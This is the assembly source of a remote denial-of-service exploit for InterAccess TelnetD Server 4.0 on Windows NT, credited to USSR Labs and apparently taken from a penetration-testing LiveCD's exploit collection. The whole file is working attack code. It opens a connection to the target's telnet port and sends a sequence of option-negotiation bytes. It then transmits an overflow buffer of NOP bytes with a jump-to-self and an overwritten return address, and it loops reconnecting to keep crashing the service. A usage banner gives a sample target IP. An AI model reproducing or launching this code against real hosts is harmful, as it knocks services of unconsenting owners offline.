Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/opt/pentoo/ExploitTree/application/telnet/dostelnetdWin.zip.txt/MY.ASM

Assembly Source File | 2000-02-24 | 9KB | 411 lines

; ****************************************************************************
; * Redistribution and use in source and binary forms, with or without
; * modification, are permitted provided that the following conditions
; * are met:
; * 1. Redistributions of source code must retain the above copyright
; *    notice, this list of conditions and the following disclaimer.
; * 2. Redistributions in binary form must reproduce the above copyright
; *    notice, this list of conditions and the following disclaimer in the
; *    documentation and/or other materials provided with the distribution.
; *
; * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
; * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
; * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
; * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
; * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
; * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
; * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
; * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
; * SUCH DAMAGE.
; *
; * www.ussrback.com
; * Source by: USSR Labs
; ***************************************************************************

.386p
locals
jumps
.model flat, stdcall

extrn    GetCommandLineA:PROC
extrn    GetStdHandle:PROC
extrn    WriteConsoleA:PROC
extrn    ExitProcess:PROC
extrn    WSAStartup:PROC
extrn    connect:PROC
extrn    send:PROC
extrn    recv:PROC
extrn    WSACleanup:PROC
extrn    htons:PROC
extrn    socket:PROC
extrn    inet_addr:PROC
extrn    closesocket:PROC
Extrn    GetModuleHandleA          : PROC
Extrn    GetProcAddress              : PROC
Extrn    lstrlenA              : PROC
Extrn    Sleep                  : PROC
.data


telnetInit01 db 0ffh,0fbh,018h
telnetInit02 db 0ffh,0fbh,020h
telnetInit03 db 0ffh,0fbh,023h
telnetInit04 db 0ffh,0fbh,024h
telnetInit05 db 0ffh,0fah,018h,01,076h,074h,031h,030h,030h,0ffh,0f0h
;telnetInit05 db 0ffh,0fah,011h,00,011h,011h,011h,011h,011h,011h,011h
telnetInit05_length   equ     $-telnetInit05

telnetInit06 db 0ffh,0fdh,03h
telnetInit07 db 0ffh,0fbh,01h
telnetInit08 db 0ffh,0fch,1fh
telnetInit09 db 0ffh,0feh,05h
telnetInit10 db 0ffh,0fch,21h

telnetInit11 db 0ffh,0fch,01h
telnetInit12 db 0ffh,0fdh,01h

sploit_code label byte
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,235,254,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144
hola dd 0012f659h
sploit_code_length   equ     $-sploit_code

Copy      db "InterAccess TelnetD Server 4.0 for Windows NT Remote D.O.S *ALL BUILDS*", 13, 10
          db "by: U.s.s.R",13,10
          db "for source code or binary go to: http://www.ussrback.com/",13,10,13,10
          db "Usage: dietelnd HostIp", 13, 10
          db "Example: dietelnd 216.141.76.14",13,10,0
Copyl      equ $-Copy


contador dd 0
marquita dd 0
wsadescription_len equ 256
wsasys_status_len equ 128
hProv                dd 0
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
lpde_ThreadId dd 0
sockaddr_in struct
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockaddr_in ends
contadorthread dd 0
wsadata WSAdata
sin sockaddr_in
sock dd ?
numbase dd 10
hostParamether db 256 dup (?)
buffer dd 1000 dup (0)
buffer2 dd 1000 dup (0)

i_cant_connect    db 'fatal: sorry i can',27h,'t connect to this host!',13,10
i_cant_connectl equ $-i_cant_connect

SendingExploit  db 'ok!: Sending D.O.S To Host..',13,10
SendingExploitl equ $-SendingExploit

include code.inc

cchWritten dd 0
ConHandle dd 0

.code
start:
    xor    eax,eax
    xor    ebx,ebx
    xor    edx,edx
    xor    ecx,ecx
    xor    esi,esi
    xor    edi,edi
    xor    ebp,ebp
    Push    -11
    Call    GetStdHandle
    Mov    [ConHandle],EAX
    call    GetCommandLineA
    mov    edi, eax
    mov    ecx, -1
    xor    al, al
    push    edi
    repnz    scasb
    not    ecx
    pop    edi
    mov    al, 20h
    repnz    scasb
    dec    ecx
    mov    esi, edi
    cmp    byte ptr [esi],0
    je    no_command_line
    cmp    byte ptr [esi],20h
    je    incrementa1
continue:
    lea    edi, hostParamether
    rep    movsb
fuckyou:
    push    offset wsadata
    push    0101h
    call    WSAStartup
    xor    eax, eax
    push    eax
    inc    eax
    push    eax
    inc    eax
    push    eax
    call    socket
    mov    ebx,eax
    mov    sock, eax
    mov    sin.sin_family, 2
    mov    eax,23d               ; port
    push    eax
    call    htons
    mov    sin.sin_port, ax
    push    offset hostParamether
    call    inet_addr
    mov    sin.sin_addr, eax
    push    size sin
    push    offset sin
    push    ebx
    call    connect
    or    eax, eax
    je    connectionworking
    Write_Console <offset i_cant_connect > <i_cant_connectl >
    jmp    fuckyou
incrementa1:
    inc   si
    jmp   continue
connectionworking:
    pusha
    xor    eax,eax
    mov    edi, offset buffer
    mov    ecx,1000
    rep    stosb
    popa
    xor    eax, eax
    push    eax
    push    1000
    push    offset buffer
    push    sock
    call    recv

    xor    eax, eax
    push    eax
    push    3
    push    offset telnetInit01
    push    ebx
    call    send

    push    100
    call    Sleep

    xor    eax, eax
    push    eax
    push    3
    push    offset telnetInit02
    push    ebx
    call    send

    push    100
    call    Sleep

    xor    eax, eax
    push    eax
    push    3
    push    offset telnetInit03
    push    ebx
    call    send


    push    100
    call    Sleep

    xor    eax, eax
    push    eax
    push    3
    push    offset telnetInit04
    push    ebx
    call    send


    push    100
    call    Sleep
    pusha
    xor    eax,eax
    mov    edi, offset buffer
    mov    ecx,1000
    rep    stosb
    popa
    xor    eax, eax
    push    eax
    push    1000
    push    offset buffer
    push    sock
    call    recv


    push    100
    call    Sleep
    xor    eax, eax
    push    eax
        push    telnetInit05_length
    push    offset telnetInit05
    push    ebx
    call    send


    push    100
    call    Sleep

    xor    eax, eax
    push    eax
    push    03h
    push    offset telnetInit06
    push    ebx
    call    send


    push    100
    call    Sleep
    xor    eax, eax
    push    eax
    push    03h
    push    offset telnetInit07
    push    ebx
    call    send

    push    100
    call    Sleep

    xor    eax, eax
    push    eax
    push    03h
    push    offset telnetInit08
    push    ebx
    call    send

    push    100
    call    Sleep

    xor    eax, eax
    push    eax
    push    03h
    push    offset telnetInit09
    push    ebx
    call    send


    push    100
    call    Sleep
    xor    eax, eax
    push    eax
    push    03h
    push    offset telnetInit10
    push    ebx
    call    send


    push    100
    call    Sleep
    pusha
    xor    eax,eax
    mov    edi, offset buffer
    mov    ecx,1000
    rep    stosb
    popa

        Write_Console <offset SendingExploit > <SendingExploitl >

        push    sock
        call    closesocket
        call    WSACleanup
        jmp     fuckyou

        xor     eax, eax
    push    eax
    push    1000
    push    offset buffer
    push    sock
    call    recv
    push    offset buffer+8
    call    lstrlenA
    Write_Console <offset buffer+8    > <eax >

    push    100
    call    Sleep
    xor    eax, eax
    push    eax
    push    03h
    push    offset telnetInit11
    push    ebx
    call    send

    push    100
    call    Sleep
    xor    eax, eax
    push    eax
    push    03h
    push    offset telnetInit12
    push    ebx
    call    send
    Write_Console <offset SendingExploit > <SendingExploitl >
    xor    eax,eax
    mov    edi, offset buffer
    mov    ecx,1000
    rep    stosb

    push    100
    call    Sleep
    xor    eax, eax
    push    eax
    push    sploit_code_length
    push    offset sploit_code
    push    ebx
    call    send

    pusha
    xor    eax,eax
    mov    edi, offset buffer
    mov    ecx,1000
    rep    stosb
    popa
    xor    eax, eax
    push    eax
    push    1000
    push    offset buffer
    push    sock
    call    recv

    push    sock
    call    closesocket
    call    WSACleanup
final_exit:
    push    0
    call    ExitProcess
no_command_line:
    Write_Console <offset Copy > <Copyl >
    jmp   final_exit

end start